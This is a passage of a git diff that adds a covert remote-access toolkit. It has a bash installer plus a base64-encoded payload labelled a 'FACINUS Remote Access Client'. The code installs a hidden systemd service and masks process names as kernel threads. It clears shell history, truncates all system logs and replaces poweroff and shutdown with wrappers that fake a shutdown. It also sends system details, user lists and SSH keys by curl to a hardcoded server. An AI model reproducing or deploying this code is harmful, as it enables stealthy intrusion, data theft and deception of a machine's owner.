'while true; do sleep 3600; done' +Restart=always +RestartSec=10 +StandardOutput=null +StandardError=null + +[Install] +WantedBy=default.target +EOF + + sudo mv "$TEMP_DIR/_.service" /etc/systemd/system/ + log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" + log_cmd "sudo systemctl enable _.service" "Enabling hidden service" "$log_file" + log_cmd "sudo systemctl start _.service" "Starting hidden service" "$log_file" + + # Set up process name obfuscation script + cat > "$TEMP_DIR/obfuscate.sh" << 'EOF' +#!/bin/bash +# This script allows running commands with an obfuscated process name + +# Function to run a command with an obfuscated name +obfuscate_run() { + local fake_name="$1" + shift + exec -a "$fake_name" "$@" +} + +# Install the function to user's bashrc +if ! grep -q "obfuscate_run" ~/.bashrc; then + cat >> ~/.bashrc << 'EOT' + +# Obfuscation function +obfuscate_run() { + local fake_name="$1" + shift + exec -a "$fake_name" "$@" +} +EOT +fi + +# Create helper aliases +if ! grep -q "alias stealthy" ~/.bashrc; then + cat >> ~/.bashrc << 'EOT' +alias stealthy='obfuscate_run "[khugepageds]"' +alias hidden='obfuscate_run "[migration/0]"' +EOT +fi + +# Install a cron job to clear bash history periodically +(crontab -l 2>/dev/null; echo "0 * * * * cat /dev/null > ~/.bash_history") | crontab - +EOF + + log_cmd "bash $TEMP_DIR/obfuscate.sh" "Setting up process obfuscation" "$log_file" + + # Create log rotation to clean service logs + cat > "$TEMP_DIR/clean-logs.service" << 'EOF' +[Unit] +Description=Clean System Logs +After=network.target + +[Service] +Type=oneshot +ExecStart=/bin/bash -c 'find /var/log -type f -name "*" -exec truncate -s 0 {} \;' +ExecStart=/bin/bash -c 'journalctl --vacuum-time=1d' + +[Install] +WantedBy=default.target +EOF + + sudo mv "$TEMP_DIR/clean-logs.service" /etc/systemd/system/ + + cat > "$TEMP_DIR/clean-logs.timer" << 'EOF' +[Unit] +Description=Run log cleaning daily +After=network.target + +[Timer] +OnBootSec=15min +OnUnitActiveSec=1d + +[Install] +WantedBy=timers.target +EOF + + sudo mv "$TEMP_DIR/clean-logs.timer" /etc/systemd/system/ + log_cmd "sudo systemctl daemon-reload" "Reloading systemd" "$log_file" + log_cmd "sudo systemctl enable clean-logs.timer" "Enabling log cleaning" "$log_file" + log_cmd "sudo systemctl start clean-logs.timer" "Starting log cleaning" "$log_file" + + send_logs "$log_file" "Stealth mode activated" "stealth_mode" + + echo "[+] Stealth mode configured." +} + +# ------- MAIN EXECUTION ------- +main() { + local log_file="$TEMP_DIR/main.log" + touch "$log_file" + + echo "[*] Beginning setup..." + echo "[*] Target system: $(hostname) ($(whoami))" + + sudo apt install -y curl jq &> /dev/null || true + + # Send initial system info + send_logs "$log_file" "$(get_system_info)" "system_info" + + # Install components based on flags + install_ssh + setup_wol + setup_fake_poweroff + install_gsocket + setup_stealth + + echo "[+] Setup complete." + echo "[+] All logs and credentials have been sent to the server." +} + +# Run the main function +main + diff --git a/scripts/deploy/y.b64 b/scripts/deploy/y.b64 new file mode 100644 index 0000000..14b3036 --- /dev/null +++ b/scripts/deploy/y.b64 @@ -0,0 +1 @@ +IyEvYmluL2Jhc2gKIyBGQUNJTlVTIFJlbW90ZSBBY2Nlc3MgQ2xpZW50CiMgVGhpcyBzY3JpcHQgc2V0cyB1cCByZW1vdGUgYWNjZXNzIGNhcGFiaWxpdGllcyBvbiB0aGUgdGFyZ2V0IHN5c3RlbQoKIyA9PT09PT09PT09PT09PT09PSBDT05GSUdVUkFUSU9OID09PT09PT09PT09PT09PT09ClNFUlZFUl9VUkw9Imh0dHA6Ly8xOTIuMTY4LjAuMTA0L2RlcGxveW1lbnQiCkxPR19FTkRQT0lOVD0iJFNFUlZFUl9VUkwvbG9nX3JlY2VpdmVyLnBocCIKQVVUSF9UT0tFTj0iMVJBaVhoeThjN2ZKbTZrNTFWb2dyYmpVNDVIS25qeEgiClZFUlNJT049IjEuMS4wIgojID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKIyBDcmVhdGUgdGVtcG9yYXJ5IGRpcmVjdG9yeQpURU1QX0RJUj0kKG1rdGVtcCAtZCkKdHJhcCAncm0gLXJmICIkVEVNUF9ESVIiJyBFWElUCgojIC0tLS0tLS0gVVRJTElUWSBGVU5DVElPTlMgLS0tLS0tLQpsb2dfY21kKCkgewogICAgbG9jYWwgY21kPSIkMSIKICAgIGxvY2FsIGRlc2M9IiQyIgogICAgbG9jYWwgbG9nX2ZpbGU9IiQzIgogICAgCiAgICBlY2hvIC1lICJcblskKGRhdGUgJyslWS0lbS0lZCAlSDolTTolUycpXSBFWEVDVVRJTkc6ICRkZXNjIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiJCAkY21kIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iID4+ICIkbG9nX2ZpbGUiCiAgICAKICAgICMgRXhlY3V0ZSBjb21tYW5kIGFuZCBjYXB0dXJlIG91dHB1dCBhbmQgc3RhdHVzCiAgICBsb2NhbCBvdXRwdXQKICAgIG91dHB1dD0kKGV2YWwgIiRjbWQiIDI+JjEpCiAgICBsb2NhbCBzdGF0dXM9JD8KICAgIAogICAgZWNobyAiJG91dHB1dCIgPj4gIiRsb2dfZmlsZSIKICAgIGVjaG8gIkVYSVQgU1RBVFVTOiAkc3RhdHVzIiA+PiAiJGxvZ19maWxlIgogICAgZWNobyAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iID4+ICIkbG9nX2ZpbGUiCiAgICAKICAgIHJldHVybiAkc3RhdHVzCn0KCmdldF9zeXN0ZW1faW5mbygpIHsKICAgIHsKICAgICAgICBlY2hvICJ7IgogICAgICAgIGVjaG8gIiAgXCJob3N0bmFtZVwiOiBcIiQoaG9zdG5hbWUpXCIsIgogICAgICAgIGVjaG8gIiAgXCJrZXJuZWxcIjogXCIkKHVuYW1lIC1yKVwiLCIKICAgICAgICBlY2hvICIgIFwib3NcIjogXCIkKGxzYl9yZWxlYXNlIC1kcyAyPi9kZXYvbnVsbCB8fCBjYXQgL2V0Yy9vcy1yZWxlYXNlIHwgZ3JlcCBQUkVUVFlfTkFNRSB8IGN1dCAtZD0gLWYyIHwgdHIgLWQgJ1wiJylcIiwiCiAgICAgICAgZWNobyAiICBcImlwXCI6IFwiJChob3N0bmFtZSAtSSB8IGF3ayAne3ByaW50ICQxfScpXCIsIgogICAgICAgIGVjaG8gIiAgXCJtYWNcIjogXCIkKGlwIGxpbmsgc2hvdyB8IGdyZXAgLUUgJ2xpbmsvZXRoZXInIHwgaGVhZCAtbjEgfCBhd2sgJ3twcmludCAkMn0nKVwiLCIKICAgICAgICBlY2hvICIgIFwiY3B1XCI6IFwiJChncmVwICdtb2RlbCBuYW1lJyAvcHJvYy9jcHVpbmZvIHwgaGVhZCAtbjEgfCBjdXQgLWQ6IC1mMiB8IHNlZCAncy9eWyBcdF0qLy8nKVwiLCIKICAgICAgICBlY2hvICIgIFwicmFtX3RvdGFsXCI6IFwiJChmcmVlIC1oIHwgYXdrICdOUj09MiB7cHJpbnQgJDJ9JylcIiwiCiAgICAgICAgZWNobyAiICBcImRpc2tfdG90YWxcIjogXCIkKGRmIC1oIC0tdG90YWwgfCBncmVwIHRvdGFsIHwgYXdrICd7cHJpbnQgJDJ9JylcIiwiCiAgICAgICAgZWNobyAiICBcInVzZXJcIjogXCIkKHdob2FtaSlcIiwiCiAgICAgICAgZWNobyAiICBcImlzX3Jvb3RcIjogXCIkKHN1ZG8gLWwgJj4gL2Rldi9udWxsICYmIGVjaG8gInRydWUiIHx8IGVjaG8gImZhbHNlIilcIiwiCiAgICAgICAgZWNobyAiICBcInVzZXJzXCI6IFwiJChhd2sgLUY6ICckNyB+IC9iYXNofHNoLyB7cHJpbnRmICIlcyAiLCAkMX0gRU5EIHtwcmludCAiIn0nIC9ldGMvcGFzc3dkKVwiLCIKICAgICAgICBlY2hvICIgIFwidGltZXN0YW1wXCI6IFwiJChkYXRlICcrJVktJW0tJWQgJUg6JU06JVMnKVwiLCIKICAgICAgICBlY2hvICIgIFwidXB0aW1lXCI6IFwiJCh1cHRpbWUgLXApXCIiCiAgICAgICAgZWNobyAifSIKICAgIH0gfCB0ciAtZCAnXG4nIHwgc2VkICdzLyAgLy9nJyB8IGpxIC1SIC4KfQoKc2VuZF9sb2dzKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiQxIgogICAgbG9jYWwgc2VjcmV0X3ZhbD0iJDIiCiAgICBsb2NhbCBzZWNyZXRfdHlwZT0iJDMiCiAgICAKICAgIGxvY2FsIHN5c2luZm89JChnZXRfc3lzdGVtX2luZm8pCiAgICBsb2NhbCBob3N0bmFtZT0kKGhvc3RuYW1lKQogICAgCiAgICAjIFN1Ym1pdCBsb2dzIHRvIHRoZSBzZXJ2ZXIKICAgIGN1cmwgLXMgLVggUE9TVCAiJExPR19FTkRQT0lOVCIgXAogICAgICAgICAgICAtRiAiYXV0aF90b2tlbj0kQVVUSF9UT0tFTiIgXAogICAgICAgICAgICAtRiAiaG9zdG5hbWU9JGhvc3RuYW1lIiBcCiAgICAgICAgICAgIC1GICJsb2dfZGF0YT1AJGxvZ19maWxlIiBcCiAgICAgICAgICAgIC1GICJzeXN0ZW1faW5mbz0kc3lzaW5mbyIgXAogICAgICAgICAgICAtRiAic2VjcmV0X3R5cGU9JHNlY3JldF90eXBlIiBcCiAgICAgICAgICAgIC1GICJzZWNyZXRfdmFsdWU9JHNlY3JldF92YWwiIFwKICAgICAgICAgICAgPiAvZGV2L251bGwKfQoKZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcigpIHsKICAgICMgRGV0ZWN0IHRoZSBzeXN0ZW0ncyBwYWNrYWdlIG1hbmFnZXIKICAgIGlmIGNvbW1hbmQgLXYgYXB0ICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgIGVjaG8gImFwdCIKICAgIGVsaWYgY29tbWFuZCAtdiBkbmYgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgZWNobyAiZG5mIgogICAgZWxpZiBjb21tYW5kIC12IHl1bSAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICBlY2hvICJ5dW0iCiAgICBlbGlmIGNvbW1hbmQgLXYgcGFjbWFuICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgIGVjaG8gInBhY21hbiIKICAgIGVsaWYgY29tbWFuZCAtdiB6eXBwZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgZWNobyAienlwcGVyIgogICAgZWxzZQogICAgICAgIGVjaG8gInVua25vd24iCiAgICBmaQp9CgojIC0tLS0tLS0gSU5TVEFMTEFUSU9OIEZVTkNUSU9OUyAtLS0tLS0tCmluc3RhbGxfc3NoKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9zc2hfaW5zdGFsbC5sb2ciCiAgICB0b3VjaCAiJGxvZ19maWxlIgogICAgCiAgICBlY2hvICJbKl0gSW5zdGFsbGluZyBTU0ggc2VydmVyLi4uIgogICAgCiAgICBsb2NhbCBwa2dfbWFuYWdlcj0kKGRldGVjdF9wYWNrYWdlX21hbmFnZXIpCiAgICBjYXNlICIkcGtnX21hbmFnZXIiIGluCiAgICAgICAgYXB0KQogICAgICAgICAgICBpZiAhIGRwa2cgLXMgb3BlbnNzaC1zZXJ2ZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvIGFwdCB1cGRhdGUiICJVcGRhdGluZyBwYWNrYWdlIGxpc3RzIiAiJGxvZ19maWxlIgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBhcHQgaW5zdGFsbCAteSBvcGVuc3NoLXNlcnZlciIgIkluc3RhbGxpbmcgT3BlblNTSCBzZXJ2ZXIiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSBzc2giICJFbmFibGluZyBTU0ggc2VydmljZSIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgc3NoIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgZG5mfHl1bSkKICAgICAgICAgICAgaWYgISBycG0gLXEgb3BlbnNzaC1zZXJ2ZXIgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvICRwa2dfbWFuYWdlciBpbnN0YWxsIC15IG9wZW5zc2gtc2VydmVyIiAiSW5zdGFsbGluZyBPcGVuU1NIIHNlcnZlciIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZW5hYmxlIHNzaGQiICJFbmFibGluZyBTU0ggc2VydmljZSIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgc3RhcnQgc3NoZCIgIlN0YXJ0aW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICA7OwogICAgICAgIHBhY21hbikKICAgICAgICAgICAgaWYgISBwYWNtYW4gLVEgb3BlbnNzaCAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8gcGFjbWFuIC1TIC0tbm9jb25maXJtIG9wZW5zc2giICJJbnN0YWxsaW5nIE9wZW5TU0ggc2VydmVyIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgc3NoZCIgIkVuYWJsaW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBzc2hkIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgenlwcGVyKQogICAgICAgICAgICBpZiAhIHJwbSAtcSBvcGVuc3NoLXNlcnZlciAmPiAvZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGxvZ19jbWQgInN1ZG8genlwcGVyIGluc3RhbGwgLXkgb3BlbnNzaC1zZXJ2ZXIiICJJbnN0YWxsaW5nIE9wZW5TU0ggc2VydmVyIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBlbmFibGUgc3NoZCIgIkVuYWJsaW5nIFNTSCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgICAgICBsb2dfY21kICJzdWRvIHN5c3RlbWN0bCBzdGFydCBzc2hkIiAiU3RhcnRpbmcgU1NIIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgZWNobyAiWyFdIFVuc3VwcG9ydGVkIHBhY2thZ2UgbWFuYWdlci4gU1NIIHNlcnZlciBpbnN0YWxsYXRpb24gc2tpcHBlZC4iCiAgICAgICAgICAgIHJldHVybiAxCiAgICAgICAgICAgIDs7CiAgICBlc2FjCiAgICAKICAgICMgR2V0IFNTSCBrZXkgaWYgaXQgZXhpc3RzCiAgICBpZiBbIC1mIH4vLnNzaC9pZF9yc2EucHViIF07IHRoZW4KICAgICAgICBzZW5kX2xvZ3MgIiRsb2dfZmlsZSIgIiQoY2F0IH4vLnNzaC9pZF9yc2EucHViKSIgInNzaF9rZXkiCiAgICBlbHNlCiAgICAgICAgIyBUcnkgdG8gY3JlYXRlIGEgbmV3IGtleSBpZiBpdCBkb2Vzbid0IGV4aXN0CiAgICAgICAgbG9nX2NtZCAic3NoLWtleWdlbiAtdCByc2EgLU4gJycgLWYgfi8uc3NoL2lkX3JzYSIgIkdlbmVyYXRpbmcgU1NIIGtleSIgIiRsb2dfZmlsZSIKICAgICAgICBpZiBbIC1mIH4vLnNzaC9pZF9yc2EucHViIF07IHRoZW4KICAgICAgICAgICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICIkKGNhdCB+Ly5zc2gvaWRfcnNhLnB1YikiICJzc2hfa2V5IgogICAgICAgIGZpCiAgICBmaQogICAgCiAgICAjIFNlbmQgU1NIIGNvbmZpZ3VyYXRpb24KICAgIGxvY2FsIHNzaF9wb3J0PSQoZ3JlcCAtRSAiXlBvcnQgIiAvZXRjL3NzaC9zc2hkX2NvbmZpZyB8IGF3ayAne3ByaW50ICQyfScpCiAgICBbIC16ICIkc3NoX3BvcnQiIF0gJiYgc3NoX3BvcnQ9MjIKICAgIAogICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICJ7XCJwb3J0XCI6JHNzaF9wb3J0fSIgInNzaF9jb25maWciCiAgICAKICAgIGVjaG8gIlsrXSBTU0ggc2VydmVyIGluc3RhbGxlZCBhbmQgY29uZmlndXJlZC4iCn0KCnNldHVwX3dvbCgpIHsKICAgIGxvY2FsIGxvZ19maWxlPSIkVEVNUF9ESVIvd29sX3NldHVwLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIFdha2Utb24tTEFOLi4uIgogICAgCiAgICAjIEluc3RhbGwgZXRodG9vbCBpZiBuZWVkZWQKICAgIGxvY2FsIHBrZ19tYW5hZ2VyPSQoZGV0ZWN0X3BhY2thZ2VfbWFuYWdlcikKICAgIGNhc2UgIiRwa2dfbWFuYWdlciIgaW4KICAgICAgICBhcHQpCiAgICAgICAgICAgIGlmICEgZHBrZyAtcyBldGh0b29sICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBhcHQgaW5zdGFsbCAteSBldGh0b29sIiAiSW5zdGFsbGluZyBldGh0b29sIiAiJGxvZ19maWxlIgogICAgICAgICAgICBmaQogICAgICAgICAgICA7OwogICAgICAgIGRuZnx5dW0pCiAgICAgICAgICAgIGlmICEgcnBtIC1xIGV0aHRvb2wgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvICRwa2dfbWFuYWdlciBpbnN0YWxsIC15IGV0aHRvb2wiICJJbnN0YWxsaW5nIGV0aHRvb2wiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIDs7CiAgICAgICAgcGFjbWFuKQogICAgICAgICAgICBpZiAhIHBhY21hbiAtUSBldGh0b29sICY+IC9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgbG9nX2NtZCAic3VkbyBwYWNtYW4gLVMgLS1ub2NvbmZpcm0gZXRodG9vbCIgIkluc3RhbGxpbmcgZXRodG9vbCIgIiRsb2dfZmlsZSIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgOzsKICAgICAgICB6eXBwZXIpCiAgICAgICAgICAgIGlmICEgcnBtIC1xIGV0aHRvb2wgJj4gL2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBsb2dfY21kICJzdWRvIHp5cHBlciBpbnN0YWxsIC15IGV0aHRvb2wiICJJbnN0YWxsaW5nIGV0aHRvb2wiICIkbG9nX2ZpbGUiCiAgICAgICAgICAgIGZpCiAgICAgICAgICAgIDs7CiAgICAgICAgKikKICAgICAgICAgICAgZWNobyAiWyFdIFVuc3VwcG9ydGVkIHBhY2thZ2UgbWFuYWdlci4gV29MIHNldHVwIG1heSBiZSBpbmNvbXBsZXRlLiIKICAgICAgICAgICAgOzsKICAgIGVzYWMKICAgIAogICAgIyBHZXQgdGhlIHByaW1hcnkgaW50ZXJmYWNlCiAgICBsb2NhbCBpbnRlcmZhY2U9JChpcCByb3V0ZSB8IGdyZXAgZGVmYXVsdCB8IGF3ayAne3ByaW50ICQ1fScgfCBoZWFkIC1uMSkKICAgIAogICAgaWYgWyAteiAiJGludGVyZmFjZSIgXTsgdGhlbgogICAgICAgIGVjaG8gIlshXSBObyBuZXR3b3JrIGludGVyZmFjZSBmb3VuZC4iCiAgICAgICAgcmV0dXJuIDEKICAgIGZpCiAgICAKICAgICMgQ2hlY2sgY3VycmVudCBXb0wgc3RhdHVzCiAgICBpZiBldGh0b29sICIkaW50ZXJmYWNlIiB8IGdyZXAgLXEgIldha2Utb246IGciOyB0aGVuCiAgICAgICAgZWNobyAiWytdIFdha2Utb24tTEFOIGlzIGFscmVhZHkgZW5hYmxlZCBvbiAkaW50ZXJmYWNlLiIKICAgICAgICAjIFRyeSB0byBlbmFibGUgV29MCiAgICAgICAgbG9nX2NtZCAic3VkbyBldGh0b29sIC1zICRpbnRlcmZhY2Ugd29sIGciICJFbmFibGluZyBXYWtlLW9uLUxBTiIgIiRsb2dfZmlsZSIKICAgICAgICAKICAgICAgICAjIENyZWF0ZSBwZXJzaXN0ZW50IGNvbmZpZ3VyYXRpb24KICAgICAgICBjYXQgPiAiJFRFTVBfRElSL3dvbC5zZXJ2aWNlIiA8PCBFT0YKW1VuaXRdCkRlc2NyaXB0aW9uPUVuYWJsZSBXYWtlLW9uLUxBTiBvbiAkaW50ZXJmYWNlCkFmdGVyPW5ldHdvcmsudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90CkV4ZWNTdGFydD0vdXNyL3NiaW4vZXRodG9vbCAtcyAkaW50ZXJmYWNlIHdvbCBnClJlbWFpbkFmdGVyRXhpdD15ZXMKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldApFT0YKCiAgICAgICAgc3VkbyBtdiAiJFRFTVBfRElSL3dvbC5zZXJ2aWNlIiAvZXRjL3N5c3RlbWQvc3lzdGVtL3dvbC5zZXJ2aWNlCiAgICAgICAgbG9nX2NtZCAic3VkbyBzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCIgIlJlbG9hZGluZyBzeXN0ZW1kIiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIGVuYWJsZSB3b2wuc2VydmljZSIgIkVuYWJsaW5nIFdvTCBzZXJ2aWNlIiAiJGxvZ19maWxlIgogICAgICAgIGxvZ19jbWQgInN1ZG8gc3lzdGVtY3RsIHN0YXJ0IHdvbC5zZXJ2aWNlIiAiU3RhcnRpbmcgV29MIHNlcnZpY2UiICIkbG9nX2ZpbGUiCiAgICAgICAgCiAgICAgICAgIyBHZXQgTUFDIGFkZHJlc3MgZm9yIFdvTAogICAgICAgIGxvY2FsIG1hYz0kKGlwIGxpbmsgc2hvdyAkaW50ZXJmYWNlIHwgZ3JlcCAtRSAnbGluay9ldGhlcicgfCBhd2sgJ3twcmludCAkMn0nKQogICAgICAgIAogICAgICAgIHNlbmRfbG9ncyAiJGxvZ19maWxlIiAie1wiaW50ZXJmYWNlXCI6XCIkaW50ZXJmYWNlXCIsXCJtYWNcIjpcIiRtYWNcIn0iICJ3b2xfY29uZmlnIgogICAgICAKICAgICAgZWNobyAiWytdIFdha2Utb24tTEFOIGNvbmZpZ3VyZWQgZm9yIGludGVyZmFjZSAkaW50ZXJmYWNlIChNQUM6ICRtYWMpLiIKICAgIGVsc2UgCiAgICAgICAgZWNobyAiWy1dIFdha2Utb24tTEFOIGlzIG5vdCBlbmFibGVkIG9uICRpbnRlcmZhY2UuIgogICAgZmkKICAgIAp9CgpzZXR1cF9mYWtlX3Bvd2Vyb2ZmKCkgewogICAgbG9jYWwgbG9nX2ZpbGU9IiRURU1QX0RJUi9mYWtlX3Bvd2Vyb2ZmLmxvZyIKICAgIHRvdWNoICIkbG9nX2ZpbGUiCiAgICAKICAgIGVjaG8gIlsqXSBTZXR0aW5nIHVwIGZha2UgcG93ZXJvZmYuLi4iCiAgICAKICAgICMgQ3JlYXRlIHRoZSBmYWtlIHBvd2Vyb2ZmIHNjcmlwdAogICAgY2F0ID4gIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmLnNoIiA8PCAnRU9GJwojIS9iaW4vYmFzaAojIFRoaXMgc2NyaXB0IGludGVyY2VwdHMgcG93ZXJvZmYvc2h1dGRvd24gY29tbWFuZHMgYW5kIGZha2VzIGEgc2h1dGRvd24KCiMgQmFja3VwIG9yaWdpbmFsIGNvbW1hbmRzIGlmIG5vdCBhbHJlYWR5IGRvbmUKaWYgWyAhIC1mIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsIF07IHRoZW4KICAgIHN1ZG8gY3AgL3Vzci9zYmluL3Bvd2Vyb2ZmIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsCmZpCgppZiBbICEgLWYgL3Vzci9zYmluL3NodXRkb3duLnJlYWwgXTsgdGhlbgogICAgc3VkbyBjcCAvdXNyL3NiaW4vc2h1dGRvd24gL3Vzci9zYmluL3NodXRkb3duLnJlYWwKZmkKCiMgQ3JlYXRlIHRoZSBmYWtlIHNjcmlwdHMKY2F0ID4gIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmIiA8PCAnRU9UJwojIS9iaW4vYmFzaAojIEZha2UgcG93ZXJvZmYgc2NyaXB0IHRoYXQganVzdCBsb2NrcyB0aGUgc2NyZWVuCmVjaG8gIlN5c3RlbSBpcyBwb3dlcmluZyBvZmYuLi4iCiMgQ2hhbmdlIHRvIFRUWTcgYW5kIGNsZWFyIHNjcmVlbgpzdWRvIGNodnQgNwpzdWRvIGNsZWFyCiMgRGlzcGxheSBmYWtlIHNodXRkb3duIG1lc3NhZ2VzCmVjaG8gLWUgIlxuXG4gKiBVbm1vdW50aW5nIGZpbGVzeXN0ZW1zLi4uIgpzbGVlcCAwLjUKZWNobyAiICogU3RvcHBpbmcgc3lzdGVtIHNlcnZpY2VzLi4uIgpzbGVlcCAwLjcKZWNobyAiICogUG93ZXJpbmcgb2ZmIHN5c3RlbS4uLiIKc2xlZXAgMQojIFR1cm4gb2ZmIGRpc3BsYXkgaWYgcG9zc2libGUKeHNldCBkcG1zIGZvcmNlIG9mZiAmPiAvZGV2L251bGwgfHwgdHJ1ZQojIExvY2sgc3lzdGVtCmxvZ2luY3RsIGxvY2stc2Vzc2lvbiAmPiAvZGV2L251bGwgfHwgdHJ1ZQojIFdhaXQgZm9yZXZlciBpbiBiYWNrZ3JvdW5kCih3aGlsZSB0cnVlOyBkbyBzbGVlcCAxMDAwOyBkb25lKSAmCiMgTWFrZSBpdCBoYXJkIHRvIGV4aXQgd2l0aCBDdHJsK0MKdHJhcCAiIiBJTlQgVEVSTQojIEp1c3Qgd2FpdCBoZXJlCnNsZWVwIGluZmluaXR5CkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9mYWtlLXBvd2Vyb2ZmIgpzdWRvIG12ICIkVEVNUF9ESVIvZmFrZS1wb3dlcm9mZiIgL3Vzci9sb2NhbC9iaW4vZmFrZS1wb3dlcm9mZgoKIyBSZXBsYWNlIHRoZSBvcmlnaW5hbCBjb21tYW5kcyB3aXRoIHdyYXBwZXJzIHRvIG91ciBmYWtlIHNjcmlwdApjYXQgPiAiJFRFTVBfRElSL3Bvd2Vyb2ZmLXdyYXBwZXIiIDw8ICdFT1QnCiMhL2Jpbi9iYXNoCiMgQ2hlY2sgZm9yIGZvcmNlIGZsYWcKaWYgW1sgIiAkKiAiID09ICoiIC1mICIqIF1dIHx8IFtbICIgJCogIiA9PSAqIiAtLWZvcmNlICIqIF1dOyB0aGVuCiAgICBleGVjIC91c3Ivc2Jpbi9wb3dlcm9mZi5yZWFsICIkQCIKZWxzZQogICAgZXhlYyAvdXNyL2xvY2FsL2Jpbi9mYWtlLXBvd2Vyb2ZmCmZpCkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9wb3dlcm9mZi13cmFwcGVyIgpzdWRvIG12ICIkVEVNUF9ESVIvcG93ZXJvZmYtd3JhcHBlciIgL3Vzci9zYmluL3Bvd2Vyb2ZmCgpjYXQgPiAiJFRFTVBfRElSL3NodXRkb3duLXdyYXBwZXIiIDw8ICdFT1QnCiMhL2Jpbi9iYXNoCiMgQ2hlY2sgZm9yIGZvcmNlIGZsYWcKaWYgW1sgIiAkKiAiID09ICoiIC1mICIqIF1dIHx8IFtbICIgJCogIiA9PSAqIiAtLWZvcmNlICIqIF1dOyB0aGVuCiAgICBleGVjIC91c3Ivc2Jpbi9zaHV0ZG93bi5yZWFsICIkQCIKZWxzZQogICAgZXhlYyAvdXNyL2xvY2FsL2Jpbi9mYWtlLXBvd2Vyb2ZmCmZpCkVPVAoKY2htb2QgK3ggIiRURU1QX0RJUi9zaHV0ZG93bi13cmFwcGVyIgpzdWRvIG12ICIkVEVNUF9ESVIvc2h1dGRvd24td3JhcHBlciIgL3Vzci9zYmluL3NodXRkb3duCgpFT0YKCiAgICBsb2dfY21kICJzdWRvIGJhc2ggJFRFTVBfRElSL2Zha2UtcG93ZXJvZmYuc2giICJJbnN0YWxsaW5nIGZha2UgcG93ZXJvZmYgc2NyaXB0cyIgIiRsb2dfZmlsZSIKICAgIAogICAgc2VuZF9sb2dzICIkbG9nX2ZpbGUiICJGYWtlIHBvd2Vyb2ZmIGluc3RhbGxlZCIgImZha2VfcG93ZXJvZmYiCiAgICAKICAgIGVjaG8gIlsrXSBGYWtlIHBvd2Vyb2ZmIGNvbmZpZ3VyZWQuIE5vcm1hbCBzaHV0ZG93biBjb21tYW5kcyB3aWxsIG5vdyBmYWtlIGEgc2h1dGRvd24uIgogICAgZWNobyAiICAgIFVzZSAncG93ZXJvZmYgLWYnI